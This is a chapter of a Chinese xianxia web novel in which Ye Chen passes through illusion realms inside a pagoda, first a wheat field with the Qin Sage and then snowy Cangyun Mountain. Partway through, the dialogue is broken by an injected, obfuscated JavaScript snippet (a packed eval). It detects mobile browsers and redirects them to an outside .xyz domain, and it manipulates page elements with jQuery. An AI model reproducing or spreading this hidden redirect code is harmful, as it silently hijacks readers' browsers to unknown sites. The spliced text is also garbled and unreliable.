浮屠塔内部靠八角柱支撑,第一层还是寻常楼阁结构,沿着步梯往上,刚到第二层,就闻到饭菜的香气,周围是乡野的场景,绿油油的麦子在田野里飘荡,小孩子从家里捎来刚烧熟的饭菜,即使老和尚带着两个人从他们中间穿过,这些人也没有丝毫反应。 慧能见叶琛弯下腰摸了摸麦子,麦子却从她手中穿过去,摇头道:“这都是灵力造出来的幻境,你摸不到的。” 叶琛:“幻境?” 她四下张望,发现这片田野无边无际,心想果然是已经不在浮屠塔内了,浮屠塔从外面看就是一座五层高的佛塔,哪里能装下这么大的地方呢? 慧能摆了摆手:“你这说法也不对,其实我们现在还是在浮屠塔里的,所以我之前说,如果有人闯进来,一定是脑子有问题!” 叶琛:“......” 老和尚平时不太管这个小徒弟,慧能跟着师父守塔,也难得有同龄的玩伴,不自觉话就多了些,他竖起食指抵在唇边,小声道:“你知道这是谁的地盘吗?” 叶琛左右望了望,只看见无边无际的麦子,和远处冒着炊烟的房子,摇头:“不知道。” 慧能嘿嘿一笑,就等着她这句:“是琴圣的地盘!当年佛圣第一次遇到琴圣,就是在齐腰深的麦子里,据说佛圣见到琴圣时,那位琴道的前辈正在田里抚琴,琴声传出几十里远,佛圣闻音而来,这就是后来四圣同游传奇的开篇!” “如果我早生几千年,说不定如今人间关于四圣的戏文还有我一笔呢!”慧能神采飞扬,“难道你就没有想过,如果你生在那个时代, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991605|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又会有怎样一番作为?” 叶琛再次摇头:“没想过。” 如今只是妖鬼余孽作乱都很麻烦了,要是早生几千年,说不定刚生出来就被哪里蹿出来的怪物吃了呢。 慧能失望叹气:“小小年纪,怎么这么没志气!” 叶琛心想,我有志气的时候你还不知道在哪玩泥巴呢,她心里不觉得自己和这个小和尚是同辈,看他也就不自觉多些宽容,道:“这么说,这一层是佛圣和琴圣初遇的地方,那么琴圣在哪里呢?” 慧能给她指了个方向,叶琛果然在远处起起伏伏的麦苗中看见了一抹褐色的身影,那人生得高,即使坐在齐腰的麦苗堆里也能露出个额头,叶琛踮起脚望去,却发现那人面目是模糊的,只有隐隐约约的琴声传过来。 叶琛没学过琴,听不出他弹的是哪首曲子,只觉得他的乐声让人想起高远的天,无垠的原野。 这极辽阔的天地里,却有一人穿着粗布麻衣在抚琴。 自从进入浮屠塔,叶琛就完全是跟着一大一小两个和尚走了,小和尚爱说话,走在最前面的老和尚却只是在前面引路,叶琛听见那阵琴声后心里就有一肚子的疑问,也不好说出口,只好跟在老和尚后面走。 这片麦田却仿佛没有尽头一样,叶琛心里好奇还要再走多久,斟酌片刻,刚想问慧能,老和尚就忽然停了下来。 就在他停下来的那一刻,天旋地转,叶琛完全没想到还有这种惊变,捂着脑袋摔倒在地。地上的麦子忽然倒了过来,叶琛脚下踩着澄澈的天空,天上却变成了葱葱郁郁的麦苗。 麦苗努力地向下生长、扎根,向四面八方扩展,一下子就从齐腰深的苗苗长成了高大的乔木,像巨人一样横亘在天地之间,叶琛脚下的透明的天,变成了皑皑白雪,雪粒裹着松风像刀子一样刮来,刺得人脸颊生疼。 一时之间,天地白茫茫一片,往周围望去,哪还有绿油油的麦田,只有成片成片的白雪。 叶琛心下一沉,脑子里闪过一线灵光,忽然疯了一样往某个方向跑,一口气跑到悬崖边上,果然看到不远处的山脊就像被剑从中间劈开一样,断裂面光滑无比,能清晰看见不同岩层的纹理。 这道天堑将苍云山与对面分割开来,也让万剑阁从此逐渐湮没在传说之中,无数人望之却步。 而对叶琛来说——她第一次离开巫镇,第一次独自走了那么远的路,第一次闯剑阵,第一次因为一个人惶恐、期待又后悔...... 这一切的一切,都要从苍云山说起。 望着那道深得望不到底的沟壑,叶琛忽然就有些明白佛圣为什么要在浮屠塔设下这样复杂的禁制了,比起禁制,这位前辈更像是把自己觉得珍贵的回忆以禁制的形式存放在浮屠塔中。 苍云山的积雪很深,叶琛一坐下去,半个身子都陷在了雪里,她只好把自己身周的雪也扒开,才从自己坐出的雪坑里爬了出来,她又在周围找了一圈,却发现带她进来的两个和尚都不见了。 叶琛挠了挠头,心想怪不得老和尚那么好说话,她说想进来就带她进来了,原来是在这等着,浮屠塔一共有五层,除第一层外,其余层应该都是佛圣设下的禁制,随便把她丢在哪一层,过上十天半个月的,还不得哭爹喊娘。 如果把她丢到其他任意一层,叶琛还真是两眼抓瞎,但是......叶琛环视四周,感觉自己闭着眼都能从这里走到山脚再走回来。 这主要归功于从前在万剑阁磨洗霜的那段日子,叶琛几乎把苍云山的点位全踩了一遍,后来洗霜终于答应和她下山,叶琛一高兴,就跑了好多个树洞,硬是在终年飘雪的苍云山抓出两只兔子烤了吃。 可惜洗霜不吃荤腥,于是那两只兔子就都进了叶琛的肚子,她那天只好扶着腰拄着剑一瘸一拐地下山——主要是撑的。 一想到洗霜,叶琛就突然有些后悔因为一些不知道怎么说的情绪,把他单独留在浮屠塔外面了。 洗霜应该会跟着进塔,可是他会遇到老和尚吗?老和尚会像对她一样随便把他丢在任意一层吗? 如果......洗霜也被丢在了这一层,她往前走会碰到他吗? 叶琛望着眼前蜿蜒盘旋的山道,心中忽然升起一点希望来。